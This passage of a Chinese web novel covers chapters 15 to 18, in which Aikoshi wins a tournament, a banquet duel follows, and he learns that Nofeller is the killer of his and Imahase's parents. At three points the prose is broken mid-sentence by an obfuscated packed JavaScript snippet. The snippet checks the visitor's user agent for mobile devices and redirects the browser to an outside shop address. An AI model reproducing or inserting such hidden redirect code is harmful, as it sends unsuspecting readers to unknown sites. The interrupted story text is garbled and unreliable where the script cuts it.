就连杉原本人也没想到相越如此不要脸,他的下身被相越整个人压在地上,因下身传来的极致痛感面目狰狞,动弹不得,但四肢还能动,还没丧失战斗能力,不能算是败北。 而另一边相越也是如此,已经汗流浃背,支撑不了多久,但还没丧失战斗能力,也不能算是败北。 对此,裁判只能宣布平局。 哨声响起,今长谷立马一把抱起水瓶和毛巾,跨过面前的栏杆,跳到相越面前:“辛苦了,恭喜冠军,新人。” 相越目光凝滞,看到来人眼底重新亮光。他接过水瓶,听到“新人”这个称呼,还没来得及补充水分,便气喘吁吁地问:“新人?” “……和君,恭喜你成为战力大赛的冠军。”今长谷的脸上染过一抹红晕,但却没转移视线。 眼前是显得有点呆滞的相越,以往的话,他肯定早就兴高采烈得不得了。心中又冒出一些自我厌恶的思绪,不过加油打气时的勇气一直维持到现在,让今长谷暂时只想抛开那些思绪,集中眼前的事物。 她伸出手,一手捏住相越的脸颊,另一手拉过他握住水瓶的手,放到他嘴前。看到呆滞到显得有点可爱的青梅竹马,不知为何心生恶作剧的念头,露出小恶魔的笑容,贴近相越的脸:“快补充水分吧。难道是想我帮你吗?” 话音刚落,相越的额头就紧紧地贴住今长谷的额头,今长谷捏住相越脸颊的手不由得松开垂下。两唇相隔的距离只有大概十厘米左右,快要完全贴近。今长谷了然,她闭上双眼等待对方下一步的动作。 然而唇上并没有传来什么奇怪的触感,只有垂下的手多了一块毛茸茸的物件。这个触感她认得,是自己拿过来的毛巾。睁开双眼确认,便见到相越的额头正逐步离开自己,嘴唇贴近瓶口,大口补充水分。 她撅了撅嘴,但还是没说什么,默默地拿起毛巾给他擦汗。相越则是低着头注视着认真给自己擦汗的直酱,心中充满了成就感。嘴角上扬,一把抱住她:“我赢了,直酱。” “赢了真好呢……话说,和君你好臭,快走开啦!”今长谷虽口头上满是嫌弃,但却勾起嘴角,双手默默地靠住他的背脊,不顾两手的物品,轻轻地拍,享受两人温馨的时光。 “年轻真好,好浪漫啊。” “喂,你们这些家伙等领完奖再抱不可以吗?” 两人仍在紧抱着时,从后方传来两道声音,一个是调侃,是局长的声音;一个是暴躁,是新宫的声音,她瞥了一眼地井,才瞪向两人。 两人恋恋不舍地离开,不满地注视着打断他们的人们。 今长谷把相越推向领奖台:“快去领奖吧。” “好的。” 说完,相越转过身,慢慢地走出数步,才转过头踏出轻快的脚步前往领奖台。 15. 竞技大会(完) 领完奖后,就是庆功宴。那是群自诩上流之人表面言笑晏晏,实则明枪暗战的场合。 任性的新宫大小姐向来厌恶这种场合,她表示自己要回去休息了,吩咐管家地井把喇叭音响收好,就乘着她的跑车离开了。 众人即便想阻止她也没办法,因为这不是强制性参加的,而是义务性的。换句话说,就是你想来就来,不来就等着被其他人戳脊梁骨吧。对此,不只是新宫大小姐觉得无所谓,其实新宫市的所有人也是这样觉得的。不如说在他们包揽竞技大会大部分奖杯时,早就想到这个场面了。 只是新宫两人走得实在是太快了,相越还没把奖杯拿回来他们就跑掉了。众人想追上他们,让他们把所有人都顺走也没办法呀。 在看到跑车灰色的尾气一直线向着遥远的彼方驶去时,三人都摆出了死鱼眼,决定三天后就把这两人教训一顿。 “局长……”相越期待地看着三人之中最黑心眼的局长想出什么奸计对付新宫。 “……”面对充满期待的相越,局长的死鱼眼越发深沉,只能沉默。 “难道真的没有办法了吗?咕……”总部的众人一直想看到的相越屈辱神情,此刻就被新宫轻而易举地得到了。可惜她人不在场,不然她肯定会对这副模样的相越笑到抽气。 伴随着相越露出屈辱的神情,今长谷心中也极度愤恨,但又不得不从。最后三人还是换上了整齐的制服,走到豪华大酒店的晚宴现场。 穿着制服的三人,在一众晚礼服和西装的人们面前显得格格不入。相越还是第一次参加这种满是形式主义、没有实用性的聚会,有点无所适从。 眼看局长早就混入人群之中不知所踪,相越有些慌张,想要找个空荡的角落待着,一直到宴会结束。可是放眼满场都是人潮汹涌,实在找不出任何一个人少的地方。 幸好的是,直酱现在还站在自己旁边。她一直注视着自己,暗叹一声后,拉住了自己的袖子,指着一处:“和君,我们去拿点吃的吧。那边人应该会少一点。” 尽管那边也有人在旁边围成一团聊天,但却没有人动桌上的食物。两人拉着手挤到那处,拿起盘子,对挡住食物的几人说道:“借过一下。” 对方转过身,正欲走开。看到眼前的两人却停下脚步,本与朋友有说有笑的,皱起眉头,怒气冲冲地向两人骂道:“你还有脸出现在我面前?” 对气势汹汹怒吼的来人,相越只是一脸懵逼表示:“请问有什么事?” 一旁的今长谷最初也一脸懵逼,她仔细盯住对方的脸庞,恍然大悟,挡在两人中间:“杉原桑,有什么事可以在外面谈吗?这里人太多了。” “这不是同为无能力者的前届冠军今长谷桑吗?怎么了,难道和这小子一样,是用些见不得光的手段打赢比赛的,所以不敢和我打吗?”杉原还特意用食指对着两人内勾了勾。在某些地区这视为叫猫狗的手势,极具侮辱之意。 “啧,好吧。那我们到训练室打一场,让你输得心服口服,再也不敢在我们面前叫嚣。”杉原这个举动成功地勾起了今长谷的怒火。她心道果然比赛时和君揍得还是不够狠,这次一定要把他揍得满地找牙,哭着回去找妈妈,不敢再侮辱和君。 她扯出一个冷笑,眼中失去了高光,似乎下一刻就要黑化。 对即将黑化的今长谷,相越五味杂陈,既有着被维护的高兴,又有着不解。在他的认知里直酱是一个契约者,他一直以为直酱是觉得他们都太菜了,才故意不使用能力的。然而杉原声称直酱并不是契约者,之前看过的报道还有直播也是如此,对此直酱并没有任何反驳。这到底是为什么? 老实说,这件事怎样都好,但他又感觉这个答案会影响今后的事。对此相越有着不好的预感,总感觉接下来有什么不好的事会发生。这种感觉挥之不去,他眼睁睁看着两人一触即发,身体有两股意志拉扯住自己,无法阻止。 “你们在说什么?好像很有趣。” 这时一道声音插入几人中间,是一名穿着神圣白袍、有着神父打扮的金长发白人男子。白人男子的长相在一众东方人中颇为惹眼,引来了一群人的旁观和窃窃私语。他在视线中若无其事地经过,轻轻笑着,自然地走进几人之中。 眼见来人,杉原立马换上尊敬的态度,退后一步:“诺菲勒桑,让你见笑了,失礼了。” 与杉原的态度大相径庭,今长谷身上的攻击性更加锐利和清晰,变为杀气对着这位男子。 对态度天差地别的两人,被称为诺菲勒的男子只是低声轻笑两声,状若无事:“没事,你们是想比试吗?我这里有一个场地,可以借给你们。请跟我来。” “真的吗?非常感谢您,诺菲勒桑。”杉原喜出望外,立即点了点头,不屑地回头瞥了两人一眼,便跟上前。 事情发生不到一分钟,形势就发生了巨大的变化。相越能够感受到今长谷的杀意从一开始的坚定到动摇,再到恐惧,衣袖也被她捏成一团,不自觉地在颤抖,失去了镇定的底气。 这个长相和善的男子对今长谷来说就是如此的可怕吧。 相越不知道自己哪来的勇气。 但他知道,如果现在退缩,她就得一个人面对。 他踏前一步,与今长谷并肩,安抚地拍拍想要保护自己、本挡在自己身前的今长谷,淡定地说:“我们接受。” 话落便五指牵起今长谷的手,跟随诺菲勒走去。 被相越牵着手,今长谷原本僵站在原地,也被拽向前。她无奈叹气,主动与相越并肩前行。 几人跟随诺菲勒到这几天三人使用过的训练室。今长谷看着熟悉的训练室,皱起眉头但还是保持沉默,深吸一口气,走到其中一侧,对峙杉原。 “不使用武器吗?” “……不用了。”今长谷踌躇不决,摸着腰间的刀,最后还是放下了手。 诺菲勒和相越走到角落观看两人的决斗,在今长谷放下手的那瞬间,诺菲勒嘴间玩味的笑转瞬即逝,令相越眉间不禁流出了两滴冷汗,心中不祥的预感更为浓烈。 下一瞬,预感得到证实。 瞬息之间,今长谷身后的墙破开一个大洞,相越只能隐约捕捉到一个身影在向今长谷袭去。怎么回事,这个速度?比起战力大赛时快太多了。 要知道,相越的视力极佳,没有近视散光等问题。在比赛时,他仅仅能捕捉到对方的动作,而现在只能隐约看到他的轮廓。如果这是杉原的真实实力的话,战力大赛时相越早就输了。但又假设这就是杉原的真实实力,也不至于会被相越打中那处了吧。 百思不得其解,留意到旁边的人的眼神,诺菲勒一直盯住相越,回望过去。 “你觉得谁会赢?按理来说,今长谷那孩子会赢吧,但是现在的杉原君已经截然不同了……”诺菲勒停顿数秒,向相越请教道:“你说呢?” 对方赤色的眼瞳正默默地注视着自己,相越总感觉在哪里看到过相似的眼睛,闪耀着异样的光芒,只是望着就又不禁流了几滴冷汗。他深吸一口气,佯装无事,想要肯定地回道,却还是犹豫了:“……当然是今长谷。” 闻言,诺菲勒大笑了起来:“你说的是呢。” 话落,诺菲勒转回去观看两人的对决,不再留意相越。 被这样一打岔,相越的注意力被分散,开始思考这些异状。 看诺菲勒胸有成竹的模样,相越反应过来,他早就知道杉原突然变强的原因。 能力不可能突然加强,需要长时间的锻炼,除非有人在协助杉原。 相越猛地转过头,看向身旁的男人。此刻的诺菲勒完全不做掩饰,一副看好戏的表情:“怎么了,相越桑?” 诺菲勒特意把右手拿出来,摆出一个打响指的手势,似乎要是回答不得当,下一刻就会引发什么意外。 相越记得这个动作,当时大嶋发动能力也需要,但诺菲勒应该不用,他只是故意的。 故意让相越知道他在协助杉原。 相越侧过头看去今长谷,她面无表情地躲避着对方的所有动作,完全没有被其他人影响。 “你是不是在协助杉原?”心中构思了无数个措辞,最终还是选择了直截了当地问。 “是又怎么样?难道你觉得那孩子会输吗?”这下子,诺菲勒连敬语都抛下了,对几人的鄙夷表露无遗,承认了自己就是在协助杉原击败今长谷。 “……” 相越当然不觉得今长谷会输,只是心里的不安动荡不停。他想到竞技大会时直酱也为自己加油,双手摆在嘴前,大声叫喊:“直酱,加油!” 正如相越所想,今长谷虽然一直没有攻击对方,但其实她是在观察对方突然加强力量的原因,顺带从数以百计种方法中选出最具侮辱性而又恰当的方法击败对方。 为此,她一边观察对方,一边留意周围的动静。 在之前的赛事中,今长谷就一直都觉得杉原是获得巨大力量却不会使用的巨婴,而力量加强后的现在就更像了。他每次攻击都会失去平衡,踉跄数下,才直起身子,向今长谷袭来。 同时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你……个……笨蛋……”今长谷边抽泣着,边骂着拥抱着自己的这个男人。身体感受到熟悉的温暖,不自觉地把头埋得更深了。 “是是是,我是一个笨蛋,大笨蛋。”相越很无奈,不知道到底是哪里惹到她了,只能无奈应下。 “你都不知道他是谁,就敢答应,好大的胆子。”今长谷不再抽泣,但骂人的流畅度上升,有几分新宫大小姐说话的风范。 “我确实很大胆,不然怎么敢从乡下跑到大城市,再从大城市跑来找你?而且如果没有接受这个挑战,你恐怕还是刚才那副畏缩的模样吧。”相越并没有生气,只是想逗逗她。 “……确实……其实我见到你的时候很高兴,但一直忍着没说。抱歉,当我没说吧。”今长谷侧过头想要离开,但脸颊和身体还是没忍住,继续粘着这个男人。 “那就好,我的努力没白费掉。嘻嘻~”相越嬉皮笑脸地对着今长谷笑。 相越的嬉皮笑脸确实感染到今长谷,她停止了哭泣,但想到刚才的事情,气还是不打一处来。她怀抱住相越的手,捏成一个小拳头,小拳头锤他的背脊。 每锤一下,相越的心口就猛烈地跳动,呼吸似要停止,让他有种快要死去的快乐,他笑得更开心了。 “不准笑!这是前辈命令哒!”今长谷停下锤击,抬起头来,试图用前辈的威严压住对方。可是,手不断抓住后辈的衣服,还娇羞脸红的前辈,怎么看都没有威严吧? “我就要笑,就要笑,哈哈哈……”于是相越笑得更大了声。 “哼……”今长谷嘟起了嘴,一把抓住相越后背紧实的肌肉,意识到这是什么后,整个人大脸红,不禁加大了力道。 “呀,嘶哈嘶哈……”今长谷的无意之举,让相越整个人痛得跳起来,喘起大气。 相越跳起来时,径直撞向今长谷的脸,今长谷被撞得龇牙咧嘴,捂住了脸。这样一个小小的事故,才让两人分开来,冷静下来。 确认对方无事后,又说回正题。 “直酱,所以诺菲勒是谁呀?”相越露出天真又愚蠢的眼神望向直酱。 “他就是七年前那场事故的凶手,同时也是……”今长谷翻了个白眼,慢慢解释道。 “是今长谷直生的主人。也是我的契约者。理论来说。”声音的主人打断了今长谷,局长不知何时来到这里,他倚靠在门上,抱着手,表情凝重地注视着两人。 16. 回家 “是今长谷直生的主人。也是我的契约者。理论来说。” 相越还没消化完局长话中的信息量,就被冲到眼前的局长吓了一跳,打断了所有的思考。 只见他边跑过来,边骂道:“这件事确实应该告诉新人。但你身为契约者管理科的人,不会不知道契约者说出自己的主人是谁后,会发生什么吧?” “反正又不会死。”今长谷本还在犹豫,被局长突然自爆,眼睛失去高光,自暴自弃。 “什么不会死呀,是死了又活吧。”局长跑到今长谷面前,举起了手,快要碰到肩膀时,还是硬生生止住了。 他叹气:“对不起,新人。这几件事应该早点和你说的。不过说明之前,可以先去一个地方吗?” “你……”今长谷还没做好心理准备,想要阻止。 “好的。”相越欣然答应。 只见相越都答应了,今长谷也不可能改口,她满心疑虑地跟着两人,坐上局长结账的计程车。 几人一路上静默不语。相越对现在这个情况一头雾水,只是专注地看着坐在旁边的直酱的侧脸。从刚才开始她就一直沉默不语,嘴抿成一条直线。 相越心虚,他在直酱阻止前就答应局长了。关乎自己的事情,却被别人抢先一步,不满是当然的。 但就算如此,他还是想要知道。 如果不争取,还要拖到什么时候呢? 他顺带用余光观察窗外的风景。 汽车在高速路段行驶着,在一个分叉口离开,驶到似曾相识的街道,相越的目光才从直酱那移开,感叹道:“这是?” “你已经知道了吧,很快就到。”局长回答道,之后就没再说什么。 今长谷动了动口,还是没说什么。 到曾经的家下了车,相越浮现一些想法。 小屋仍是七年前的模样,既没有人买下,也没有被修缮,开始发黄。局长拿出钥匙,打开相越家的大门,痕迹早就被清理干净,什么都没有留下。看着既陌生又熟悉的场所,相越心中没有任何的真实感,没有一丝波澜,只觉得陌生。 一旁的今长谷却整个人跪在地上,喃喃道:“我错了……对不起……” 不断重复着道歉的话语,眼睛失去焦点,开始呕吐起来。 “果然会是这样呢……” 不理会一旁自言自语的局长,相越一看到今长谷面色泛白倒下,就冲过去把今长谷整个人抱起来,一直跑。 跑到一个公园前,相越轻车熟路地走进滑梯里头的隐蔽处。 七年前,他也是在这里等着直酱。 却没有等到…… 只等到警车的到来,双亲离去的消息,还有失去所有表情的直酱。 这次相越亲手抱起直酱,把她带进那时的空间。 那时两个人能非常轻松地同时钻进去,现在只能一个一个钻进去,两人进去时空间被塞满,再也容不下其他人。 局长追着两人跑,看到这幅场景,摇了摇头,只能站在外侧,倚靠着滑梯,静静地等待两人。 回到幼时两人的秘密基地,看来是还有人经常在使用,并没有多大的变化。熟悉感涌入两人心中,让今长谷安定下来。 今长谷被男人的气息包围着,持续深呼吸,心中的惊惧才逐渐平息:“和君,你现在知道多少?” “诺菲勒就是莱安,也就是杀害我们父母的凶手?其他都不知道了。”相越摸摸下巴思索,他没见过莱安,只是听过。 今长谷被相越的一句话吓到瞠目结舌:“……什么……时候知道的?” “也就是刚刚?我猜的。”相越继续摸下巴,又补充道:“不过在直酱和我说之前,其实我早就知道莱安是凶手,还有直酱是他的契约者的事,当然还有直酱可能是他杀人的原因之类的?” “为什么,和君会知道这些事?”今长谷的语言能力还是没恢复过来,相越坦白的事情实在是太过让人震惊了。她一直以为这些事情自己瞒得很好。想到之前用尽浑身的力气去坦白,岂不知对方早已了然这些事实,还早已接受並坦然面对。 想到这里,今长谷觉得自己真是一个小丑,羞愧地想死。她把头埋进□□,不让自己羞耻的模样被相越看到。 “直酱,你没事吧?还想吐吗?”相越以为自己刺激到她了,低头又要开始呕吐。 “我……没事,只是……”今长谷说话小声,含糊不清。 “只是?”相越还是不明白。 “只是太过羞耻,无法直面你而已。”今长谷脸色通红,抬起头,双手抱着腿,大声吼出来。 被今长谷害羞的模样萌翻,相越冲动地反问了句:“有什么羞耻的?这么可爱。” “可……爱?”被相越突如其来的话所击倒,今长谷出现了晕眩症状,双眼变成了蚊香眼。 “打情骂俏已经够了吧,该说正题了。”外边传来局长无奈的声音。 “说完了呀,莱安就是诺菲勒,直接去把他杀了,或者关进监狱就行了。”相越对两人的时段被打断心怀不满,但对让今长谷和自己家破人亡的罪魁祸首的恨意足以盖过这些不满。当时自己没有目睹那个场景,所以没有多大的心理阴影。但今长谷这一看就是PTSD犯了啊。 想到自己在乡村逍遥自在,把一切压在自己最重要的人身上,相越揪心一痛,悔恨不已。 看到相越把这件事说得就像卖菜一般简单,局长又叹了口气:“没有证据,也不够强大去杀掉他。” “那就去找证据。”相越斩钉截铁。杀人者的手会被染上鲜血,再也回不去原来的生活。他并不想承受这样的事情,而且这样做是要进去的,进去就再也回不来了。以一换一什么的他才不会做,他要和今长谷长长久久地活下去,做一对让人艳羡的神仙伴侣。 “要是有,七年前今长谷早就做了吧。”局长的眉头皱得更深,扶着额。 “不可能没有的吧!”相越还嘴。但很快他就想起来之前经历的两次事件,都是没有决定性的证据,只能靠犯人自爆,才能去抓捕他们。就算能量检测到异常,也只能说明那里有人使用了能力,不知道具体使用能力的人物,不能说明是犯人使用了能力去犯事。 相越咬破了下唇,再一次为自己的无能感到愤怒。自己并不是莱安的目标,只要逃跑就可以不被他所威胁,无忧无虑地度过一生了吧。那直酱呢?她该怎么办?一辈子独自面对强大敌人的威胁吗? 绝不可能这样做的吧!无论身为儿子,还是青梅竹马,又或是正在单向暗恋的男人,为了自身的安全抛弃对方,逃避应该面对的死敌,那无疑是最差劲的行为了。相越咬咬牙,暗想绝对要把自己、今长谷受到的苦回敬给莱安。 “看样子明白了吧。你现在唯一能做的就是不拖我们的后腿,保证自己的安全。你现在身为今长谷唯一的软肋,之后肯定还会被各种刁难吧。对方看样子也很着急,都出现在你面前了。所以,你现在明白了吗?”局长摆出身为上司的威严,再次质问相越。 在短时间内,相越在一旁观察过,也亲身经历过,知道了其中的危险。当时的他只能在一旁看着,可能以后也是如此。即便什么都做不了,还是要面对,只是一点点也好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496111|202510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一点点也要去尝试。 他点头:“明白了。” “不,我会保证相越的安全,本就是我的错。请不要把他卷进来了。”话音刚落,今长谷就撑着柱子,勉强地站起来。在这个不够宽敞的空间里,她只能弯着腰,看上去就像对着局长乞求。 “我还以为你已经明白了自己的心情,以及你并不是时时刻刻都能保护他这个事实。”局长仍然是一副不苟言笑的模样,给今长谷上压力。 “确实是这样,但……”今长谷无力反驳,开始哽咽起来。从相越进入赛场到现在,她就高兴得失了形,一直自我欺骗,耽于相越给的温柔中。对方早就知道全部了的消息,更是让她高兴得忘了形,一直向其撒娇,汲取对方给予自己的温暖。 但其实不还有吗?还有没告诉相越的事情。那是连局长都不知道的,只有她自己才知道的,从出生开始就抱有的秘密。庆幸相越和局长回到这个熟悉的地方时,没有遇到住在附近的奶奶,不然一定会暴露的秘密。 在今长谷还沉浸在自己的情绪时,相越犹豫片刻便说出了一句令人震惊的话:“那下一次的任务就交给我一个人完成吧。直酱,请看着吧。虽然我并不及你,但还是能做些小事的。当然,那个任务不要太难,也不要太简单啊。太难的我自己解决不了,太简单的就谁都能做吧。” “呃!”被相越坚如磐石的话语所打动,今长谷回过神来。再看到那眼神,那眼神如在训练室时主动提出练习时的一模一样,今长谷实在是无法狠下心来拒绝。 不如说只要是看到这个眼神,今长谷就从来都拒绝不了他,所以她才会经常性地逃跑,逃避这个眼神,害怕看见后自己无法拒绝他。 现在已然无法再逃跑,今长谷直面对自己而言最重要的人的情感,她吞了吞口水,无可奈何地应道:“好吧。” 答应过后,今长谷回想起了相越第一次出勤时的光景。那时她偷偷在后面跟踪相越,一直暗中观察,忍住没出手。 直到犯人发动能力引发爆炸即将伤害相越时,她才从暗处出现。拿起了平时鲜少使用、只会在威胁犯人时使用的长刀。就和平时想象中的一样顺利,她瞄准弱点,用刀利落地砍断了犯人的双手,成功地保护了他。 虽然砍断犯人的双手后,大量流出的鲜红血液让她回想起自己对血液的恐惧与忌惮,以及恶心的情绪。此后,她因此而呕吐,无法顾及相越,急忙跑到卫生间整理。但她并不后悔,不如说很庆幸自己有能保护相越的能力。 这样想来,今长谷完全可以再一次跟踪独自出任务的相越,当相越遇到危险时,她就可以立即做出反应,保护相越了。 今长谷把这个念头默默藏于心底,以防演技被识穿,她还特意加了句:“请小心一点,不要像这次一样乱来了。下次任务我不在,无法保护你了。” 对此,相越只是又为今长谷担心自己而高兴,傻笑着:“我明白了,直酱。我对你来说果然很重要呢。” 曾经回避的问题,现在再度被提出,心境已有所不同,今长谷莞尔一笑:“是呀,你不是也知道吗?” “直酱!”相越一把抱住今长谷,今长谷也回以拥抱,两人四目相对,一同大笑。 面对两人温馨的场景,一旁看着的局长无言以对,他握住裤袋中震动着的手机,心中浮现一点罪恶感。 在两人专注于彼此时,他无声拿出口袋中的手机,按下开机键,便看到画面上显示出数条信息,都是同一个人发来的,联络人名称——莱安·诺菲勒。 局长看着那个名字,手指悬在屏幕上,半天没动。 17. 单独任务(一) 次日,两人一如既往地结伴上班,没有契约者闹事,也没有人需要办理契约,度过了悠闲的一天。 隔天新宫大小姐才回来上班。 无故缺勤两天的罚款,对她来说根本不算什么,交一点钱就可以在家休息、浑水摸鱼两天,无疑是一本稳赚不赔的生意呀。 就是一回来就得遭受所有人在运动会独自离开,以及逃班积蓄的怒火。面对众人的讨伐,新宫大小姐和众人口舌之争,但一个人的力量过于薄弱,终究还是敌不过四个人团结一致。再加上,不论怎样用眼神暗示,地井还是闭着嘴巴,不加入。 最后,新宫大小姐还是无奈败下阵,大手一挥让家里的厨师承包了众人一个星期的午饭和晚饭。在美味的食物加持下,众人上班摸鱼的时间更加舒适了。 就这样,众人度过了一个星期的闲暇安适的时光。当相越快把运动会最后一天的事情忘掉,害怕被同事骂而祸从口出,只能如烂泥般瘫在工位心里感叹真和平的时候,一个熟悉的身影出现在众人眼前。他按下许久未有人触碰的求助铃,在办公室外等待工作人员。 吵闹的铃声响起,相越才如受重击般想起运动会第三天的事情。他打开大门,再关上以免冷气从办公室跑掉,才独自走出办公室应对客人。 一个小男孩坐在办公室外为客人准备的椅子上,一脸不耐烦地注视着快步走过来的相越。 小男孩身边没有家长,这个场景似曾相识,让相越想起他似乎面对过类似的叛逆小男孩。 火灾那天,那个独自一人躲在角落哭的孩子。 只是记忆中的面容已然模糊,他犹豫地问道:“渡边桑?” 小男孩皱着眉头,猜到对方已经忘记自己了,语气有点冲地道:“是的,我是渡边达也。” “哈哈,抱歉。那请问渡边桑,有什么要事需要帮忙的吗?”相越尬笑两声,缓和气氛,并直接问对方这次的目的。 “我要做契约者,帮我办理契约。”渡边皱着眉头要求相越。 “蛤?渡边桑,未成年需家长陪同,且由当地正副局估量过才可以进行契约的签订。但你知道结果大多是什么吗?”相越大吃一惊,不理解这段时间内发生了什么,让渡边做出这个决定。 他试图用事实劝退对方,比起直接说出来,还是问话的形式更让人容易接受。 “通过?”渡边并不知道这个事实,疑惑地问。 “并不是,是否决。”相越摇了摇头。不知道的话就更好了,人在不熟悉的领域因为很少接触,理应来说会更愿意接受劝说,尤其是权威者的,而他身为契约者管理科的一员,正是这个范畴里的,何况渡边并不知道相越只是一个新人。 相越回答问题后,便继续补充:“因为大部分人的理由都无法说服我们。” “无论多么正当的理由也不可以?就算我妈妈快死了?”渡边难以接受,他说出自己来到这个地方的原因。 相越却是被吓了一跳,他没想到高桥会在这么短的时间内又受到死亡威胁。不过这些情绪他并没有表露出来,而是假装淡定地问:“高桥桑又被谁威胁了?可以告诉我吗?” “不是爸爸,是妈妈!算了,我下次想想办法再来。你给我等着!”渡边单手指指着相越,就一溜烟跑走了。 眼看对方跑走,相越只是一愣,并没有追上去,对在背后注视着自己的今长谷轻笑道:“直酱,你看我刚才的应对可以吗?” 被相越发现,今长谷只能默默从敞开的大门探出身子:“做得很好。而且那个男孩不是高桥桑的儿子吗?为什么会来这里?” “我也不知道。好了,我们回去办公室吧。”相越转过身,打算走回办公室。 此时,新宫却从今长谷背后走出来,原来她一直在偷听几人的对话:“说起来,好久没见到高桥了,该不会是被我收购公司后一蹶不振了吧?活该,哈哈哈哈……” 两人无奈地看着新宫笑,没有走进去,因为她笑的姿势非常狂放,张开双手双脚,呈现一个大字型把大门整个挡住。这也是她的目的,阻止两人回去摸鱼,并她有想要拜托的事情。 新宫在听到渡边妈妈快死时,也非常诧异。同时想到自己许久未见高桥,心生好奇,心想该不会是因为自己收购了皐月会社,导致他们失去了人生的希望吧。大小姐可不想因为自己的原因酿成人祸,她大手一指命令相越:“你这家伙,你去把那小子想要成为契约者的原因调查出来吧。” “虽然我也很好奇,但我拒绝。”如此嚣张的态度,相越不乐意了。只有直酱才可以这样呼喝自己,但她从不会为自己而生气,什么时候她才可以更在乎自己呢?相越想多被直酱骂,他似是患上了某种被傲娇骂上瘾的毛病。相越在脑中胡思乱想,嘴上毫不犹豫地拒绝了。 “什么?你竟然敢拒绝我?那我出这里工资的三倍价钱,聘请你帮我调查。”新宫没想到对方又会拒绝自己,她这次发挥自己的财力,诱惑对方。 “喂,在办公室的大门口堂而皇之地邀请同事做其他工作,你以为我不敢制裁你吗?新宫!”还没等到对方的回复,就传来一道声音。新宫说话的音量极具穿透力,吸引了正坐在办公室里摸鱼的正副局长,副局长一出来就开骂。 局长则是一副嫌事态不够热闹的心态再拱一把火:“有什么不好的呢?正好把之前答应的单独任务也算在一起。就这样吧,新人,你潜入学校观察渡边达也的状况吧。你放心,不会把你当做是无故缺勤的,毕竟你是去做潜入任务了。” “你在说什么啊?怎么可以让新人因为这样就不上班?” “你在说什么啊?学校?” 副局和今长谷同时发出质问,只是重点并不一样。副局是因为觉得相越违反规矩了,所以才会反对,很简单的理由。今长谷反对的理由也很简单,只是觉得相越一个人去学校太危险了,尤其是现在莱安·诺菲勒无故出现在两人面前的现在。她无法长时间潜入到学校里保护他,因为她要上班,最多时不时去探望他。 “蛤,违反规矩的事不止这一件了吧?我说的对吧, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这不可能,新宫脸色发青,立即又补上一句:“那就好,你这家伙,明天就去吧!” 她转过头,又大吼:“局长,快把这家伙安排进学校里!” 命令完两人,新宫就头也不回地离开办公室了。 “蛤?不是你先开始的吗?为什么让我做呀?”局长追着新宫,跑到电梯前,不断按下电梯按钮,但头上的两个数字毫无反应,只是一味地下降。 “哈哈,活该。我先走了,拜拜局长,加班加油!”副局挥挥手,直奔楼梯去,生怕局长用什么借口留住自己。 局长回过头,期待剩下的两人陪伴自己,映入眼帘的却是一片空。这两人早在新宫命令局长时已经跑了,所以另外一部电梯才会毫无反应,一味下降。 “你们这些家伙啊!”局长咬牙切齿。他听着楼梯间逐渐变小的脚步声,直至消失后他才打开手机,在联络人中点开了一个熟悉的名字。 “喂,是我。帮我把相越这小子安排进×××小学可以吗?” “今长谷?她一定会去探望他啦,你就放心吧。就这样挂了,拜拜。”局长像和朋友般寒暄着,慢悠悠地走进办公室,挂断后才噗的一声瘫坐在办公椅上。 他单手挡住双眼,神色不明,喃喃低语:“什么时候这一切才会结束呢?” 不知道是有意识还是怎么样,局长摸了摸自己的胸口,那里当然是什么都没有。 18. 单独任务(二) 次日,闹钟比平时要早的时间响起。 正是寒冷的时候,几乎每家每户都开着暖气调节过低的气温。 时间正好五点,闹钟响起。相越眼睛一睁开,没被被子盖住的脸瞬间传来一阵刺骨的寒冷。无视被窝中的燥热,他眯着双眼,一手把放在床头的手机摆到自己脸前,并关上正在吵闹的闹钟,设置重新响铃,便整个人闷在温暖的被窝中。 学校开课的时间名义上是八点,但实际上还有各种部团活动晨练的时间,所以可以视为相越六点便要到学校。而契约者管理科上班的时间是九点,为了配合今长谷,相越会七点起来,半小时后就出门,与今长谷一同在婆婆那吃过早饭再去公司。 提早一小时是为了预留自己制作早餐、洗漱还有前往学校的时间。 太阳还没出来,新宫市这个三线小城市的餐厅全都还没开门,便利店的距离又不近,相越只能自己制作早餐了。不然的话,他真想睡到最后一刻,再奔向学校。 更何况,今天上班很有可能见不到直酱了。再怎样说,她也不可能潜入学校吧,毕竟门口可是有保安大叔的啊。一想到这里,相越就觉得自己的心情和外面的天色一样昏暗。 相越的头脑早在闹钟响起的那一刻完全清醒,只是由于惰性,不愿离开。他闭着眼睛,不再去想其他事,只是希望今天快点过去,忙里偷闲地在被窝中尽情摄入温暖。 还没等来铃声再次响起,先入耳中的是门铃。门铃响了两次,相越才不耐烦地擦擦双眼,穿上拖鞋走向大门。 睁大双眼,眼前正是相越心中一直想着的人——直酱。她肩上背着一个袋子,双手举着装满一个托盘的食物站在门前,对着他淡淡地笑着:“早上好。” “天使?”相越恍若隔世,一时之间清醒的头脑变得模糊,以至于以为自己到了天国。 “并不是天使哦。我可以进来吗?”眼前的天使否认了自己的身份,身子靠向入口,作出欲要进门的动作。 “好的,请进。”相越刚刚醒来,头脑仍是昏昏沉沉的,反应性地回答。 “我进门了。”不顾呆滞着的相越,今长谷用左脚尖脱下右脚的拖鞋,随后换过脚,赤脚走到书桌前,把食物放上去。 